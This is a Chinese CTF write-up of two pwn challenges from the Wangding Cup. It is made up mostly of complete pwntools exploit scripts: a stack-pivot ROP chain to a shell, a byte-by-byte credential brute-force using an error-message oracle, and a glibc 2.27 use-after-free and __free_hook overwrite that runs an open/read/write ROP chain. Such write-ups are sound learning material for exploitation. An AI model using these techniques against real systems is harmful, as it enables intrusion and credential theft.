第四届网鼎杯青龙组Pwn方向部分题解
1222706425506668 发表于 湖北 CTF 459浏览 · 2024-11-01 11:52

pwn2

  • 题目是no pie,发现vuln函数中有溢出,还直接给出了栈地址,所以可以直接利用栈迁移来执行写入栈上的ROP

  • 同时题目还给了system函数和binsh的地址,直接getshell
  • exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='i386', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x8049324')
# p=remote('0192d5d3be0f782ea43281dc0cf29672.3iz5.dg04.ciihw.cn',46453)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc 

#b *$rebase(0x14F5)
def dbg():
    gdb.attach(p,'b *0x080492DD')
    pause()

p.sendlineafter("Enter your username: ",b'admin')
p.sendlineafter("Enter your password: ",b'admin123')

p.recvuntil(b'You will input this: ')
stack=int(p.recv(10),16)
print(hex(stack))

binsh=0x804A038 
system=0x80484A0 
leave_ret=0x08048674 

pay=p32(system)+p32(0xdeadbeef)+p32(binsh)
pay=pay.ljust(0x50,b'a')
pay+=p32(stack-4)+p32(leave_ret)
p.send(pay)


p.interactive()

pwn4

  • 题目要求输入username和password,一开始以为是弱密码,爆破完字典都没对。转变思路,根据程序中的回显来逐个字节爆破

  • 爆破脚本如下,最后爆破出来

  • username='4dm1n',password='985da4f8cb37zkj'
while(1):
    data=''
    for i in range(len(charset)):
        data=username+charset[i]
        print(data)
        # pause()
        p.sendlineafter("Input your username:\n",data)
        mes=p.recvline()
        print(mes)
        if b'Invalid username length!' in mes:
            print(charset[i])
            username+=charset[i]
            # pause()
            break
        if b'Username correct!\n' in mes:
            break
    if b'Username correct!\n' in mes:
        break

print(username)      
p.sendlineafter("Input your username:\n",username)

while(1):
    mes=''
    data=''
    for i in range(len(charset)):
        data=password+charset[i]
        print(data)
        # pause()
        p.sendlineafter("Input your username:\n",username)
        p.sendlineafter("Input your password:\n",data)
        mes=p.recvline()
        print(mes)
        # pause()
        if b"Invalid password length!" in mes:
            print(charset[i])
            password+=charset[i]
            # pause()
            break
        if b'Password correct!' in mes:
            break

    if b'Password correct!' in mes:
            break
print(password)
  • 下面就是个菜单堆,glibc2.27,同时题目开启了沙盒无法使用execve,考虑orw
  • 题目还给了uaf,所以打起来很容易,就是要留意这个RC4加解密,RC4是对称密码,所以也不是很难处理
  • 往free_hook写入setcontext+0x35然后delete来执行ROP链
  • 最后要注意远程是flag.txt而不是flag,这里卡了很久

  • exp

from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
from Crypto.Cipher import ARC4
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x8049324')
p=remote('0192d72a3b5878358e94186821f17d50.pkfa.dg08.ciihw.cn',45167)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
# elf = ELF("/home/zp9080/PWN/pwn")
libc=ELF("/home/zp9080/PWN/libc.so.6")

key=b's4cur1ty_p4ssw0rd'
#b *$rebase(0x14F5)
def dbg():
    gdb.attach(p,'b *$rebase(0x1402)')
    pause()



menu=b"> "
def add(idx,size,cont):
    p.sendlineafter(menu,str(1))
    p.sendlineafter("Input the key: ",str(idx))
    p.sendlineafter("Input the value size: ",str(size))
    p.sendlineafter("Input the value: ",cont)

def show(idx):
    p.sendlineafter(menu,str(2))
    p.sendlineafter("Input the key: ",str(idx))

def delete(idx):
    p.sendlineafter(menu,str(3))
    p.sendlineafter("Input the key: ",str(idx))

def edit(idx,cont):
    cipher = ARC4.new(key)
    p.sendlineafter(menu,str(4))
    p.sendlineafter("Input the key: ",str(idx))
    p.sendlineafter("Input the value: ",cipher.decrypt(cont))

#FLAG=wdflag{d0d6sb1xhnb77kf9zr47hm67z8908k0t}

charset='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
username='4dm1n'
# while(1):
#     data=''
#     for i in range(len(charset)):
#         data=username+charset[i]
#         print(data)
#         # pause()
#         p.sendlineafter("Input your username:\n",data)
#         mes=p.recvline()
#         print(mes)
#         if b'Invalid username length!' in mes:
#             print(charset[i])
#             username+=charset[i]
#             # pause()
#             break
#         if b'Username correct!\n' in mes:
#             break
#     if b'Username correct!\n' in mes:
#         break

# print(username)      
# p.sendlineafter("Input your username:\n",username)

password='985da4f8cb37zkj'

# while(1):
#     mes=''
#     data=''
#     for i in range(len(charset)):
#         data=password+charset[i]
#         print(data)
#         # pause()
#         p.sendlineafter("Input your username:\n",username)
#         p.sendlineafter("Input your password:\n",data)
#         mes=p.recvline()
#         print(mes)
#         # pause()
#         if b"Invalid password length!" in mes:
#             print(charset[i])
#             password+=charset[i]
#             # pause()
#             break
#         if b'Password correct!' in mes:
#             break

#     if b'Password correct!' in mes:
#             break
# print(password)       


p.sendlineafter("Input your username:\n",username)
p.sendlineafter("Input your password:\n",password)


for i in range(9):
    add(i,0x150,b'aaaa')

show(0)
# pause()
for i in range(8):
    delete(i)


#泄露libcbase
show(7)
p.recvuntil(b'7,')
data=p.recvuntil(b']', drop=True)
cipher = ARC4.new(key)
data=cipher.encrypt(data)
print(data)
libcbase=u64(data[0:8])-0x3ebca0
print(hex(libcbase))

#泄露heapabse
show(1)
# dbg()
p.recvuntil(b'1,')
data=p.recvuntil(b']', drop=True)
cipher = ARC4.new(key)
data=cipher.encrypt(data)
print(data)
heapbase=u64(data[0:8])-0x001670
print(hex(heapbase))

for i in range(10):
    add(i,0x8,b'a')

delete(8)
delete(9)
magic_gadget=libcbase+0x52085

free_hook=libcbase+libc.sym['__free_hook']

edit(9,p64(free_hook))
add(10,0x8,b'a')
add(11,0x8,b'a')
show(11)
edit(11,p64(magic_gadget))
# dbg()

prdi_ret = libcbase+0x2164f
prsi_ret = libcbase+0x23a6a
prdx_ret = libcbase+0x1b96
pop_rax=libcbase+0x1b500
syscall_ret=libcbase+0xD2625 


context_addr = heapbase + 0x0022c0+0x10
flag_string_addr = context_addr + 0x1d0
frame = SigreturnFrame()
frame.rsp = context_addr+0xf8
frame.rip = libcbase+0x8aa 
# print(str(frame))
payload = bytes(frame)
payload += p64(prdi_ret)+p64(flag_string_addr)+p64(prsi_ret)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall_ret)
payload += p64(prdi_ret)+p64(3)+p64(prsi_ret)+p64(heapbase+0x4000)+p64(prdx_ret)+p64(0x100)+p64(pop_rax)+p64(0)+p64(syscall_ret)
payload += p64(prdi_ret)+p64(1)+p64(prsi_ret)+p64(heapbase+0x4000)+p64(prdx_ret)+p64(0x100)+p64(pop_rax)+p64(1)+p64(syscall_ret)
# print(hex(len(payload)))
# pause()
payload = payload.ljust(0x1d0,b'\x00')+b'flag.txt\x00\x00'


# dbg()
add(0,0x260,payload)
add(1,0x260,b'a')
# dbg()
delete(0)



p.interactive()
0 条评论
某人
表情
可输入 255
目录